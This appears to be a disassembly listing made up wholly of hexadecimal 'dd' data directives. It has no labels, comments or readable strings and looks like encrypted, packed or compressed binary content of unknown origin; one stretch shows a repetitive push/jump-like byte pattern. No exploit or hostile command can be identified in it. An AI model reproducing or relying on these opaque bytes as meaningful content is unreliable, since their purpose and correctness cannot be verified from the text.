		dd 8EC1003Fh, 67C88AF8h, 7FC2D3E9h, 0FAFh, 46A19AE3h, 0FA153259h
		dd 127DCAB5h, 88E35C2Dh, 2148F787h, 0A0EE27C9h,	334748A3h
		dd 0C4B4FD14h, 5D2F107Bh, 37408BE2h, 12265565h,	1212B841h
		dd 3A3BC4E8h, 0B6FDF647h, 4472DB51h, 505B4922h,	0B291FA37h
		dd 0FB1E4261h, 1A75CEBEh, 0BBDC6715h, 0F334D3CAh, 257B094Fh
		dd 0C00FC400h, 28C6F5A7h, 4B74F30h, 906DFA72h, 0EB7647EFh
		dd 0F3Fh, 0D6310A73h, 4AA5A2E9h, 0E20D3A45h, 1873CCBDh
		dd 0B1D86717h, 107EB7B9h, 0A3D7D833h, 34444DA4h, 0CDBFE00Bh
		dd 87D01B72h, 1225C515h, 82622841h, 801C0577h, 473A3B78h
		dd 0C9CEA49Dh, 8368D932h, 0ABE80140h, 0EC3967E4h, 5182BDCFh
		dd 26F721Ch, 0BB8F8496h, 0E8055689h, 2575A6A1h,	827AB0C8h
		dd 9BD6F97Fh, 3E51F392h, 93Ch, 0DEAB58E4h, 81F70CABh, 0AD5695C6h
		dd 0D646A3B4h, 473A1782h, 0C2054477h, 7FAFF7A5h, 398A4922h
		dd 2C9B9D8Dh, 0BBC30C19h, 0D2D9508Ch, 0D1478B5h, 121A4B9Fh
		dd 16B5AE41h, 0C85804C0h, 0B5DC1F5Eh, 1647008Ch, 126A3646h
		dd 4F0441h, 67582E7h, 5A411B39h, 3B4F306Bh, 2F648670h
		dd 0A0F1EF90h, 0E6E59h,	60DBA200h, 0D4731809h, 3C0B74BDh
		dd 0A29DECD5h, 0B38464Bh, 0ADE686E0h, 60B62E1h,	73BCD774h
		dd 0EED33A05h, 834AA59Eh, 251226F6h, 53074112h,	3A0577D3h
		dd 81B8C4E9h, 0F3C4EFBh, 0F5C9FDEh, 8478ADECh, 99D4FB7Dh
		dd 3C51F3D7h, 888h, 3BC4E8EAh, 10F1473Ah, 51680EECh, 7518F72h
		dd 0AE2074Ch, 49222FB2h, 0FE3B5C5Fh, 555AB58Eh,	8DCF1C27h
		dd 0BC7089D6h, 4F30AE0Fh, 0E931EBE0h, 0C4B70AEh, 2D1A60A1h
		dd 8C7ABDF8h, 0EF8FEC60h, 0D84DDCEDh, 1C00000Dh, 72BFD671h
		dd 0EED33A09h, 464BA2A1h, 0B0E10833h, 101671CEh, 0C8770750h
		dd 3D0A70A1h, 0A09BEDD2h, 0B345849h, 8C6079E0h,	4112247Ch
		dd 7725FD91h, 0C4E93A05h, 0A65E8FB8h, 77EA1D5Bh, 4251F3D7h
		dd 7FCh, 2C525FC8h, 8DDE6D11h, 0E7F12F6Eh, 1D42A7ECh, 8CD16E10h
		dd 0EE592061h, 98227EBDh, 4922532Bh, 7358B1FCh,	122391B9h
		dd 0EB298441h, 0E2E3A9E6h, 0F8A709CFh, 6079B8BEh, 82DE6913h
		dd 132C5041h, 48885C2h,	95CBEA3Bh, 127CA3F3h, 9DE29141h
		dd 7DFBA07Ch, 0F7044F30h, 0E13EC784h, 231DC933h, 0E7D64391h
		dd 9054BB13h, 0E87740EFh, 0D23h, 0F21D2657h, 6681BECDh
		dd 9EE95639h, 345FE891h, 0ADC4830Bh, 2C529B5Dh,	0BFCBF41Fh
		dd 50386980h, 0E9939CF7h, 0ABCC375Eh, 121BA9F1h, 9E864C41h
		dd 0E93A0577h, 0F881B8C4h, 9CDF1E4Fh, 0C6C954Fh, 0BE89F300h
		dd 0D7B7AA62h, 3D0251F3h, 0B5000007h, 298D1078h, 0D8B6A73Ah
		dd 0CBEA3B7Ah, 0C3E8F995h, 0EB473A3Bh, 0DE4EABF8h, 492253B0h
		dd 0BC4C8041h, 0E18FAFE8h, 0D23786B3h, 0F2AAB7C5h, 4112A3A6h
		dd 5B2F604Bh, 3D7CBFECh, 0A49FEDD2h
		dd 115E1577h, 0D71B24F8h, 13044F30h, 0D0F4585Ah, 0C5CD01Ch
		dd 0E14B701Ch, 0BE488BCAh, 0EF90599Eh, 7067FACBh, 0A400000Ch
		dd 1A076ED9h, 76BBD271h, 0EED33A09h, 5849A09Bh,	88FE0936h
		dd 60DFAFE8h, 0D5721809h, 380375BAh, 0A39CE0D1h, 24F88148h
		dd 41121B14h, 77CD55F9h, 0F5443405h, 4487C685h,	89B2DA17h
		dd 0D4141D44h, 22EC8F78h, 0C5D06F5Eh, 372A529Fh, 3A615565h
		dd 0B2F5B847h, 81C6BB5Bh, 4E1351F3h, 3B000001h,	0E93A0577h
		dd 648FB8C4h, 0F7105F14h, 4BF48592h, 0E109DB1Ah, 14473A3Bh
		dd 9CAC4099h, 71473A3Bh, 39F3E63Ah, 491843CAh, 4683D0DBh
		dd 0DA064549h, 1832FC00h, 21470241h, 0D1CE73EEh, 4C464Bh
		dd 58CC0000h, 0DE0364ABh, 3B1723F9h, 0B3FA473Ah, 41A8DB6Dh
		dd 38854918h, 64A9E857h, 0F86D121Fh, 18301424h,	73B2F941h
		dd 304B9B2Dh, 0CCB54118h, 0D0E865ACh, 0DC014BD1h, 183C3840h
		dd 24F8DD41h, 41183C14h, 2D73B2F9h, 0A6E0h, 5772E00h, 0BAC4E93Ah
		dd 6913588Dh, 1C608DDEh, 0CA58C823h, 7473A20h, 173E4A22h
		dd 910B473Ah, 473A1749h, 7D3001ACh, 0C9721A27h,	5EA55EBEh
		dd 82596339h, 0C5E8491Eh, 182757A4h, 0E983E8F1h, 411ED2C1h
		dd 1E5B7934h, 1B27D370h, 0B8F5B597h, 0B2D906Fh,	1C610000h
		dd 0B4C7C823h, 4C337C97h, 0DEAB94FFh, 79050A65h, 0A547A3CAh
		dd 0CA25226Ch, 7F96B5C5h, 92FD4632h, 0D64DFADh,	0D3E7B5C2h
		dd 46411219h, 7779090h,	0E3C8D138h, 5D0A1522h, 6D3F20E7h
		dd 473A905Dh, 9AA7FDB0h, 0E33049F2h, 387BA897h,	7723FBE4h
		dd 7A88005h, 5CEF6A0Ch,	0D9A3C81Dh, 820C096Eh, 99749FC5h
		dd 52Ch, 64AB5845h, 3A4EDE03h, 0DF473A3Bh, 0DB5180DCh
		dd 49184C8Ch, 0C82D4A61h, 18240454h, 9EC2E941h,	2469BD4Fh
		dd 0EA974118h, 771BE8Eh, 90CCEF3Ch, 0D1BCC984h,	218EC4Bh
		dd 0E83A0000h, 473A3BC1h, 50A9F6EDh, 3B69B16Bh,	218C473Ah
		dd 77AD9AE0h, 533A8A62h, 0E4D74922h, 3D067683h,	1E9FEDD2h
		dd 0B10884E0h, 3F6CAF5Bh, 80D926DDh, 1F2C5E5Bh,	2C1C27C1h
		dd 0AA014F30h, 9000E8DCh, 252475EFh, 0A3Fh, 0D6310A73h
		dd 4AA5A2E9h, 0E20D3A45h, 1873CCBDh, 0B1D86717h, 107EB7B9h
		dd 0A3D7D833h, 34444DA4h, 0CDBFE00Bh, 87D01B72h, 1218C515h
		dd 82622841h, 0E93A0577h, 5E8FB8C4h, 8FDC6711h,	0FD2E1D62h
		dd 0B1840D04h, 0DC1B8773h, 0DA111553h, 361178B5h, 9F9AC6E5h
		dd 96B1DB59h, 0C9A2DF7Fh, 6B3751F3h, 1F000001h,	1E2D525Fh
		dd 6AD5A7C2h, 588F439h,	39FC863Eh, 3A7BF50Bh, 384BE29Bh
		dd 22375E91h, 499AA9D5h, 0EFE4F62Ah, 5ED547A0h,	4F491803h
		dd 7A0E0B6Ch, 0BA4A93C1h, 4118726Ah, 448BED94h,	4BD18F09h
		dd 44ACh, 0AB587A00h, 66690364h, 0F491841h, 34C17A02h
		dd 0BD07081Bh, 0A29FC5CCh, 5E2838B1h, 88CBA479h, 9765895Bh
		dd 17784118h, 0BBE85326h, 0C7143978h, 344697B4h, 0C56BBF39h
		dd 0B8B5DC1Ch, 1D4BD12Fh, 0C0h,	3A057705h, 8DBAC4E9h, 0DE691358h
		dd 2D1C608Dh, 0DBA1EE5Dh, 0B1F03360h, 102F5B58h, 0F30183CCh
		dd 0FE473A08h, 227ECDB1h, 0A3CA7507h, 3C5DA251h, 0A3B46ED7h
		dd 93C83554h, 0FE61BB4Dh, 9F68491Eh, 64179449h,	8E77B6E7h
		dd 5CB066h, 4845A209h, 80BC4346h, 772E4DF6h, 0AAD4DD34h
		dd 0C6CDED9Dh, 4D5EF5B4h, 8EAF2h, 0E45F2E00h, 48F7848Dh
		dd 0B08FF021h, 26216859h, 8FBCC2CFh, 29620264h,	828FE665h
		dd 0FF204BF8h, 6A57BE89h, 7CE1922h, 1F6EBA72h, 0CF834112h
		dd 62E65F57h, 0C21686D7h, 37473ADAh, 9BA8FF84h,	315D64B8h
		dd 8390F512h, 4F9B4DF6h, 0A2473A9Fh, 858AD50Bh,	69254CF7h
		dd 96A27A5Fh, 7B473A3Bh, 0B7C5EC30h, 6A125F8Ch,	0E55BB6D1h
		dd 36000002h, 3B0F5BD1h, 0CBE2473Ah, 0AB58F995h, 0F9DE0364h
		dd 3A3B1723h, 6DB3FA47h, 225315DBh, 58B1FC49h, 0C3102F5Bh
		dd 0A95EDBA0h, 60E45E00h, 0B5BE93Ch, 16411254h,	1B2FFD68h
		dd 0FE411254h, 22F7CBFh, 0EA9ECF7Ch, 0EF45E90Fh, 8EC30662h
		dd 0E74BCB6Ch, 3D63E0AAh, 26F10h, 0C1E83E00h, 0ED473A3Bh
		dd 6B50A9F6h, 9BE15C2Eh, 0F13C61A0h, 536319A3h,	956E4922h
		dd 8BE655h, 6DA4F891h, 9FC4294Eh, 1220FD0Dh, 0AD9AE041h
		dd 13043D78h, 0D0BD9413h, 0FF2564A1h, 1671CAB2h, 2EFE6329h
		dd 4112111Ah, 0F6029AFFh, 1B411211h, 0CD1E5190h, 4A038B88h
		dd 8EC30241h, 0F8124EFDh, 0C9A3C40Bh, 4F3065AEh, 82AA5C5Fh
		dd 1FEF9039h, 7AD330Eh,	9CE10000h, 344748A3h, 0CCB3FC17h
		dd 5E2B147Fh, 0F9858AE5h, 25C7234Ah, 4AA5A2ECh,	0FF163545h
		dd 127DC6B2h, 8DE45F2Dh, 53673542h, 0C641121Eh,	5771010h
		dd 0B8C4E93Ah, 1E1B5E8Fh, 9325ADAh, 6CDBA3F0h, 520F2F30h
		dd 6751F3DBh, 1ACh, 3A0577AFh, 1424F8DDh, 0F9473A3Bh, 3BF01894h
		dd 9625473Ah, 0BFFC0957h, 391B72CDh, 0BFE4054Ah, 3A3BDDEDh
		dd 277D3047h, 43F57A32h, 0A99A4918h, 3388037Ah,	0ED562346h
		dd 10E6BAAh, 7796CA79h,	186B91A5h, 65FC8C41h, 186B63B7h
		dd 0E4279641h, 32117AB7h, 2F49C6E1h, 1F4455FBh,	186B7D8Dh
		dd 0C71D9041h, 96CBFE7Ah, 234BD187h, 4Ch, 9365956h, 58E797C4h
		dd 6BA9E80Bh, 0DEAB58DBh, 39AEA3BEh, 0D5A6EB8Eh, 5AD23776h
		dd 4918D929h, 6166B706h, 9958603Ch, 0FEBD4118h,	99F418A2h
		dd 9FE94118h, 4F3A77A4h, 3831A7F4h, 1BC66AC0h, 39B7AADDh
		dd 0D1024BD1h, 8000000h, 0E93A0577h, 588DBAC4h,	0B9DE6913h
		dd 3BB0D854h, 0A421473Ah, 17A2D254h, 8A3708h, 90D31243h
		dd 88F4394Ch, 0BEF454BFh, 934739D1h, 0A7EAE4E9h, 75508F96h
		dd 0A1F24D3Ch, 0CF284382h, 0F58B2576h, 77AD4189h, 5F2F6E65h
		dd 6CAF9CEEh, 0C9B3FC3Fh, 69DA3F7Eh, 0F3474BC1h, 30217F0Ch
		dd 1EB6227Ch, 2AC22749h, 411EEE1Eh, 0AD64B8F3h,	0E2ACE90Eh
		dd 84F70465h, 95796C7h,	96B5D9C6h, 0B5AAAEE0h, 13EE3FF5h
		dd 61Bh, 0FA152E5Fh, 6E79C6B5h,	86E15E21h, 3C57F099h, 55BC8BF3h
		dd 345A9355h, 0C7B3FC17h, 58201178h, 0F19B84EFh, 0A3343F56h
		dd 121CA1C9h, 66BE5441h, 0D1380777h, 94199CE0h,	0AC4D238h
		dd 0F5BD136h, 0E2473A2Eh, 0A56188CBh, 0DD3A0577h, 4D9EA9D0h
		dd 86ABF22Eh, 0D3643F6h, 3BE830ECh, 0AE0D473Ah,	1DC9046Fh
		dd 35000000h, 6F800577h, 0DF34CB22h, 0B2075B4h,	0E395C681h
		dd 4A32F276h, 177B96F1h, 0AB000000h, 0E93A0577h, 3A3B085Bh
		dd 860CD47h, 82E7602Ch,	1A460575h, 5775DF9h, 0A9D0DD3Ah
		dd 0D93B429Eh, 0E884E52Ah, 49225356h, 2A7E2E13h, 0CF411222h
		dd 3279B0ECh, 0D7A3F0D5h, 4EDE3B68h, 4112223Ah,	549DDCDFh
		dd 0BEFB1926h, 151A75CEh, 7EBBDC67h, 0C5E0350Eh, 550E4E9Fh
		dd 98CD7A00h, 0B0FD1A5Dh, 0BB2C71CEh, 0D2B89066h, 0F72D6C53h
		dd 1A0B0AE2h, 0DFDC4F0Ah, 2E4D9EA9h, 137447F2h,	0A2CD7606h
		dd 513A0F7Dh, 4382A1F2h, 1C90F512h, 4B6A4DCCh, 4568A21h
		dd 82E7004Fh, 4DBBCF5Dh, 795E4B6Ah, 6A4D97A3h, 0F0337A4Bh
		dd 33FD1AACh, 5B524548h, 67F3F1AFh, 0D22D7EE9h,	4DBh, 0BAD56E1Fh
		dd 2E390675h, 46A19EE1h, 0FC173059h, 157CCBB3h,	741A5315h
		dd 773BCD7h, 98E0D138h,	315B44AFh, 6374FF16h, 12136189h
		dd 26FE9441h, 1F2C525Fh, 4871AFCEh, 259EFB44h, 95E96F93h
		dd 0F698C90Dh
		dd 0BBD90449h, 1A255758h, 6FD8A4C9h, 0B08BF13Eh, 3B4E63h
		dd 5EED9ED3h, 9B46EE0Dh, 8592C95Dh, 0E884E963h,	473AA3C0h
		dd 1F5A8635h, 5EBBD26Dh, 0CD1E2D51h, 2C6FD8A0h,	442924F0h
		dd 368C51F3h, 9A000000h, 364AB58h, 90ABD1DEh, 2AFC2043h
		dd 49180BA9h, 0C87319A6h, 55237089h, 0D7A39AE4h, 0B9E42968h
		dd 6FBD6F86h, 7241186Ah, 0E9D6310Ah, 0E877A49Fh, 41Fh
		dd 0BE65F5Ah, 8672F30Dh, 3065E2A8h, 0B7DB2F5h, 9CC0E330h
		dd 0CF1C2755h, 0A3F7A58Ah, 12473AABh, 7D501100h, 5F5EE32Bh
		dd 0AB94F801h, 3C837040h, 93B0DEDBh, 93900C4Dh,	844918F5h
		dd 0B5C3D029h, 6537568Ah, 41188451h, 83C622AFh,	4BD118CEh
		dd 39EBh, 0AB583300h, 4EDE0364h, 473A3B3Ah, 9DA6D2DFh
		dd 0EED3065Ah, 0FDBF5F15h, 19654F5Bh, 13B5EB2Ah, 49189BE0h
		dd 6F3D6E4Dh, 4118DF5Fh, 89C038A1h, 4BD0F7D4h, 0DFE1h
		dd 5772900h, 87629F80h,	3A51C515h, 0F8852847h, 3372075Ch
		dd 82C1CDE2h, 0E5622865h, 3B416EBFh, 0E1AAE700h, 0AEF23162h
		dd 112A529Fh, 0A5E856F6h, 0C09473Ah, 5291C27Dh,	0AE99E30Eh
		dd 9F0D7247h, 473AAC4Bh, 0A8D10FAEh, 0F455E1E4h, 0C181F923h
		dd 31A4F4A8h, 6249473Ah, 0E192F223h, 0CCA77592h, 0D1491837h
		dd 0DDA6B3DAh, 516A8D84h, 3558B30h, 36E60350h, 4F3CC1D6h
		dd 1A17703Bh, 73BCD774h, 916E860Bh, 2990BBCEh, 7BA897F8h
		dd 8971F938h, 0D2EF92E7h, 2F97EC1h, 503D0000h, 0E8939CF7h
		dd 800F305Bh, 1267A8C3h, 0ADD1DE29h, 7173779Eh,	9EE95638h
		dd 335AE991h, 0A6C17A0Eh, 0C1281379h, 9FAB4116h, 72411211h
		dd 77744DCh, 3B7A8E1Eh,	196F473Ah, 81BEFD2Eh, 9F80EB2Ah
		dd 633B52EDh, 364AB58h,	18416669h, 83E4D749h, 19470476h
		dd 31EC30CCh, 0BF124118h, 0DD3A0972h, 18313B4Fh, 81DFDE41h
		dd 0CFCC40B8h, 1C5F8CBBh, 70928667h, 59870E59h,	0D1C580FDh
		dd 0D9554Bh, 5FFD0000h,	3B96A27Ah, 8B473Ah, 61BFFE43h
		dd 0DA0B3458h, 810AC4BDh, 6ECEC436h, 0B887F732h, 0EE5BD96Bh
		dd 0CEBE473Ah, 67151A75h, 4D4A8FDCh, 0F9D3BE3Fh, 5AEAFEDBh
		dd 75ABCA1Bh, 0C6237063h, 18CE5D56h, 14654249h,	0A69A3091h
		dd 76A949EBh, 0A1F25139h, 0C8284382h, 4EB3D41Bh, 70CEAAF5h
		dd 44988B76h, 3DBC41A2h, 0A6F4E4Fh, 8E4810Dh, 4B7DEBE0h
		dd 0D3DDA615h, 0ABD0993Bh, 1D026DACh, 9EAFDC71h, 0E10C51EAh
		dd 0FF3E7DAEh, 92CA790Bh, 6AF5C6EFh, 1DFh, 0B6D16A13h
		dd 2A450289h, 42AD9AE5h, 0F8132C5Dh, 1178C7B7h,	701E5719h
		dd 377B8D3h, 94E42D44h,	2D5F40ABh, 6770FB12h, 121065B5h
		dd 22C28841h, 0DF380777h, 3B1622FAh, 0B0FB473Ah, 4E3E636Ch
		dd 77009AF5h, 0FC4B3405h, 287DC6B3h, 7C99CA0Dh,	0F65AD88Bh
		dd 3A581226h, 0CFB40747h, 20DD5165h, 0D8716105h, 91D8042Eh
		dd 83950EBh, 6D6ABB84h,	0BDEE5920h, 0FD4A317Eh,	5578DA8h
		dd 34E8014Eh, 491866BFh, 300F7BB8h, 88AB7AE3h, 0C542A57Bh
		dd 0C8E35E82h, 2115D6AFh, 11B7C359h, 535A4118h,	7EC45AAh
		dd 31888CD9h, 0CD0850CCh, 0CEED4118h, 0D3519792h, 65779EA9h
		dd 54C8216Eh, 4F3AA707h, 57A4C5E8h, 0A1C41827h,	1B2857A4h
		dd 77D0BCC5h, 2B7F2D12h, 164B7F2Bh, 7F2B7286h, 2B14A74Bh
		dd 5F095C80h, 2F15692h,	0BBC05CBDh, 5C455D41h, 8EFB3851h
		dd 3B646FB5h, 9293F851h, 5D11CE1Ah, 49882355h, 0EC80D904h
		dd 555D11DCh, 0EA3B7A31h, 5B88B3C5h, 0E983E8F1h, 555D11C1h
		dd 5B88B7C4h, 5B942718h, 61C81433h, 0E45F2D07h,	196FAC8Dh
		dd 753C92Eh, 0EA555D11h, 887B9DC3h, 614EDE3Bh, 365B7F7Bh
		dd 73195687h, 28B19BC8h, 76A7A4EBh, 8822428Dh, 0CB0A0914h
		dd 0C74CAC95h, 0CAA2C70Ch, 519142E5h, 0D8AE9172h, 0E1312724h
		dd 0DC3786B3h, 0F19996FBh, 768252h, 109B5991h, 8AD98ACCh
		dd 4923086Dh, 59910021h, 0E1BBD9D4h, 57897F30h,	14598A21h
		dd 0A3B4DF68h, 4ECAA6E2h, 81DF9B65h, 0FA2B1478h, 5EE9909Dh
		dd 0D7A1EE0Dh, 0A0FC3F6Ch, 15C6BA06h, 0ABCD2478h, 192654A1h
		dd 75CEBEFBh, 0DC67151Ah, 2217628Fh, 7AABEA59h,	6BC92FD2h
		dd 0C2CF2621h, 0CD5C81BAh, 3, 7773CB31h, 0C3E83D06h, 105D8EB9h
		dd 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h
		dd 0F03D6EDDh, 696FBC8Bh, 81E18951h, 4C1h, 4E98100h, 87000000h
		dd 895C240Ch, 8953240Ch, 4C381E3h, 83000000h, 1C8704EBh
		dd 0C895C24h, 10936824h, 14890000h, 0B8505624h,	58CF0E21h
		dd 3A05D0F7h, 2D49A635h, 0EDA80BA9h, 0F758C689h, 0ACE681D6h
		dd 4E710233h, 0BE7C681h, 0F68110F6h, 86DE3538h,	815EF189h
		dd 4ECh, 24248900h, 4240483h, 8B8505Ah,	1000000h, 2C8151D0h
		dd 0FD238724h, 81008F2Ah, 0FD238700h, 34FF582Ah, 0C4835A24h
		dd 2434FF04h, 4C48159h,	0E9000000h, 0FFFA54DFh,	2D68B8B6h
		dd 0C5030628h, 0D685E0FFh, 0AB034B05h, 3C5E7A7Ch, 2CBF61A3h
		dd 0B0A60D39h, 147F2378h, 0CF9943E3h, 16720A49h, 9AD56122h
		dd 0F66E4131h, 0C32919h, 0E5475534h, 7CD26529h,	711E3EF9h
		dd 12C13AEFh, 3EE25A44h, 5DC22850h, 8EB10EFDh, 4CE04498h
		dd 2AF3505Fh, 0D6E47387h, 0C2A7474Dh, 589662EBh, 261D0AA5h
		dd 0C3B318F3h, 681A1312h, 5E196754h, 31D54B78h,	5BC37C8Eh
		dd 0ABE91DEAh, 4C000000h, 47734156h, 0F3BAF5CCh, 0D666D138h
		dd 979FABAFh, 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch
		dd 0A9B6F377h, 609EB794h, 897D60D7h, 8C9EA9BDh,	0E3729EBDh
		dd 204A95ACh, 7E9BB98Bh, 0B99D8993h, 96AFF496h,	0B594A19Eh
		dd 0FD91A7D6h, 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh
		dd 0BBEFB600h, 0BD899Dh, 0B69F8995h, 97BBEFh, 0C3B1B6D0h
		dd 527155h, 0C20DA437h,	0E0910D3h, 0Bh dup(0)
		dd 4CE90000h, 68000011h, 6283112h, 0FA53A2E9h, 320F68FFh
		dd 98E90628h, 68FFFA53h, 628330Fh, 0FA538EE9h, 349868FFh
		dd 84E90628h, 68FFFA53h, 6283541h, 0FA537AE9h, 35E268FFh
		dd 70E90628h, 68FFFA53h, 62836A9h, 0FA5366E9h, 374768FFh
		dd 5CE90628h, 68FFFA53h, 62837FEh, 0FA5352E9h, 390268FFh
		dd 48E90628h, 68FFFA53h, 62839C5h, 0FA533EE9h, 3B5368FFh
		dd 34E90628h, 68FFFA53h, 6283DBFh, 0FA532AE9h, 3ED268FFh
		dd 20E90628h, 0B4FFFA53h, 2A177EC9h, 868BE261h,	0FE234AF9h
		dd 6859B08Bh, 0F8CE1926h, 70CFBFF8h, 0E5622819h, 48F3858Ah
		dd 0B38CF021h, 54C89158h, 41121404h, 5FFD25E9h,	0F2440AE6h
		dd 69B73985h, 77253C40h, 473A7823h, 77A4E7D6h, 93E7523Ah
		dd 3A1A75B4h, 0F9DFA49h, 49180020h, 7095C6F5h, 7749910Bh
		dd 1AC4118h, 77E509D3h,	5E1B4118h, 8B7AF71Ah, 395F4BD1h
		dd 7A000000h, 5FE4D3Dh,	3B3A7084h, 0F383D1FDh, 364AB58h
		dd 18416669h, 0B7E4D749h, 1831D1E5h, 46A22F41h,	0D1D14E03h
		dd 0AA42A74Bh, 41183D9Eh, 81F73873h, 0EEBB9AC6h, 63000000h
		dd 0E93A0577h, 588DBAC4h, 1CD84A3Bh, 308000E8h,	8FAEFF48h
		dd 0A3E9104Ch, 4A327F98h, 71CEB0F1h, 4FD1A23h, 9B3DFC81h
		dd 0CCF52BC1h, 0BC6C87C0h, 473AFB81h, 2A1965B2h, 86C1CBF6h
		dd 77250A6Fh, 473AEB23h, 0B56D5DD6h, 769C6203h,	83F04E37h
		dd 0CD2373D8h, 19226A97h, 94DB88F4h, 0FDAEB973h, 0FCBF4918h
		dd 0A5D08395h, 491B2468h, 4118F221h, 41A6D9D4h,	3C6550ABh
		dd 197E3D4Fh, 8EF3721Ch, 7DB2CA1Eh, 0DC8C2F4Bh,	4B7DB28Ch
		dd 75054A61h, 337C97D6h, 190AFC4Bh, 0A4EF92E5h,	0EB3946Bh
		dd 18650000h, 0B0DBC42Fh, 48377893h, 0DAAF90FBh, 75190661h
		dd 0A94BBFD6h, 0C6211E60h, 7B92B1D9h, 0EEF94236h, 960DBA1h
		dd 0D7E3B9DEh, 3A41120Ah, 7778C94h, 0B8FB4836h,	444B4851h
		dd 7297D607h, 3A3B6EBAh, 0F4288347h, 6D84BFCDh,	0A27A5FB1h
		dd 473A3B96h, 0EAEC307Bh, 53AC10F9h, 0DD332328h, 0BCAF7D9Ah
		dd 9149187Ah, 0EB3BC91Ah, 1541187Dh, 3B087784h,	0AC95CBEAh
		dd 9548054Ch, 0CD6D4BD1h, 8000000h, 38C57E0Bh, 0B57FF42Bh
		dd 0FF97CD32h, 4A340577h, 4469BAFDh, 1BEC0D3Ah,	906174FFh
		dd 1622FA97h, 0FB473A19h, 1A2371B0h, 3A15D34Ah,	7404C47h
		dd 6ED9A3ECh, 0DF24DF3Dh, 0BC7055BAh, 473A1C6Ch, 92ABACC5h
		dd 0AA97F0A5h, 0C00BDD03h, 4D4918A8h, 0FF2C1B60h, 3C0B73BCh
		dd 628DCCEFh, 0F5126112h, 3DBCAF27h, 9EFBB24Fh,	375EED91h
		dd 33C7840Ah, 0EF929E56h, 0B6370A1Bh, 7800000Dh, 0DEC32A15h
		dd 4A779EADh, 0A2EF0645h, 1C056CD7h, 4CBAD572h,	2C1B63ACh
		dd 91AEDCC5h, 43F4976h,	6FD8A4EDh, 0E0BCDD04h, 411209D8h
		dd 5F89993Dh, 29ED897Ah, 4FF9EB5Bh, 3A394D9Dh, 0D70DA047h
		dd 0C67E4AAh, 0A9CE7903h, 0F1221D6Ch, 0A9656EB2h, 0E93A0577h
		dd 648FB8C4h, 93F9543Bh, 0F9387BA8h, 4AF587D4h,	3C8E5A23h
		dd 0BA9FF847h, 0E132117Dh, 0B3CC9EC2h, 84491828h, 2F9205C3h
		dd 0C3117061h, 0A2876756h, 429BAF7Dh, 0FE8E4118h, 63B1FC45h
		dd 0E253B6D9h, 8ACBB89Fh, 0B0BE4704h, 3F4CF85Eh, 0E1C62362h
		dd 9673FF0Bh, 0AD96E2BAh, 96FB1994h, 0B406F106h, 469726B4h
		dd 0E1064D06h, 0D28B490Bh, 7803104Ah, 119C95CBh, 74D3BBF8h
		dd 0B9D80427h, 0D237107Ch, 0D195AF71h, 2E4D9EADh, 673CFF55h
		dd 0D52E959Eh, 351E0F5h, 0CEBAF7C0h, 0DF052075h, 0A951EA92h
		dd 0F1E702E2h, 0B6D72A7Bh, 7800000Ch, 0DEC32A15h, 4A779EADh
		dd 0A2EF0645h, 1C056CD7h, 4CBAD572h, 2C1B63ACh,	91AEDCC5h
		dd 43F4976h, 6FD8A4EDh,	0E0BCDD04h, 411208D8h, 5F89993Dh
		dd 0C3112A52h, 386DD6A6h, 0BFD827DCh, 183ABEEDh, 424A4749h
		dd 95C681F7h, 0A7C61756h, 82EDC079h, 361178B5h,	709AC6E5h
		dd 0BBEC8683h, 0C964Ch,	4BF4A8C1h, 344F3A2Ch, 74985479h
		dd 694B7E23h, 0A7F41926h, 4D3B68D7h, 42EE44A4h,	332E6187h
		dd 4A45AFC4h, 0D2033C4Dh, 62C04D93h, 4E000000h,	1D26525Fh
		dd 6BD8A3C8h, 64B8FB3Ah, 0D5328172h, 558BB4D8h,	0BF76804h
		dd 55584918h, 0DDFC5334h, 644D08D6h, 0B4E82B14h, 272068A5h
		dd 241201C2h, 5FF4A0h, 7F046CFAh, 0FF25A10Dh, 12E63494h
		dd 91FB4118h, 384451B6h, 81C07B01h, 790F3053h, 8F789DCEh
		dd 26C21DAh, 13E83421h,	0BC5h, 64AB58C3h, 23F9DE03h, 473A3B17h
		dd 0C656B3FAh, 473A3BB2h, 7E085467h, 49221DD2h,	8693F4C7h
		dd 0D5224DF6h, 4A96B1D8h, 85E25D2Fh, 0EA3B0488h, 0AAFEAECBh
		dd 4F411214h, 0F715306Ch, 160F0DFCh, 0C9793DBDh, 0E2BB7196h
		dd 0B4F0A9Eh, 0A16247A0h, 0E5286BCAh, 3C459BC2h, 939CF750h
		dd 7CE2E4E9h, 9AC7C89Eh, 19CA0A5Bh, 4B48ADCAh, 158BA3Fh
		dd 0F2FB7C48h, 1D4362B3h, 48430C4Bh, 38F4D945h,	55482710h
		dd 84BD8AF5h, 7F3EEB29h, 6851FA8Bh, 0EB7647E9h,	0B2Dh
		dd 4AA59EEFh, 0FE093645h, 1671CEB1h, 8CE76029h,	254CFB83h
		dd 0A4EA23C5h, 37434CA7h, 0C8B0E108h, 612B147Fh, 33448FE6h
		dd 120F5179h, 160EC441h, 3A3BC4E8h, 0B6FDF647h,	1D1ADB51h
		dd 0B6F34922h, 0BDCD5FC2h, 50411214h, 0AAC91A5Dh, 77010E6Bh
		dd 14E632EAh, 0A00B4112h, 0A3F13C61h, 201B61AEh, 8BB4D8C9h
		dd 4793096Eh, 0EE411214h, 0BE421ACAh, 0B8F34CD2h, 50034164h
		dd 0EB81E603h, 411260DFh, 34257B32h, 30613378h,	0CFBFFC4Fh
		dd 67B2C656h, 54674B70h, 93ACDC15h, 44FD2342h, 11E68169h
		dd 2677EF90h, 0A84DBh, 0FC473600h, 60DFAC95h, 0C8771809h
		dd 3E0970A1h, 0A7A4EAD7h, 317A7A4Ch, 0AA97FE4Dh, 70863E0h
		dd 72BFD671h, 2FD6310Ah, 0E86D24Ah, 0A76B4112h,	0A27A5F7Fh
		dd 473A3B96h, 0C5EC307Bh, 125F8CB7h, 92ADDF6Ah,	975A0253h
		dd 0D8433E51h, 0CA9651F3h, 0BC000004h, 364AB58h, 221DD869h
		dd 5624949h, 5EBB8408h,	1597A379h, 337A4112h, 0CFBDE2EDh
		dd 603BCCCEh, 12FD7C8Ch, 611A9141h, 40833E3Bh, 0A49FEA27h
		dd 4F9F2D78h, 7D4112FDh, 4C203986h, 4F30FC5Fh, 0E88D7D30h
		dd 75EF8FA6h, 9E32524h,	0E8950000h, 800B345Fh, 1867A8C3h
		dd 0AADFC02Bh, 45497691h, 0D99BEF06h, 3651EE90h, 0ABC28109h
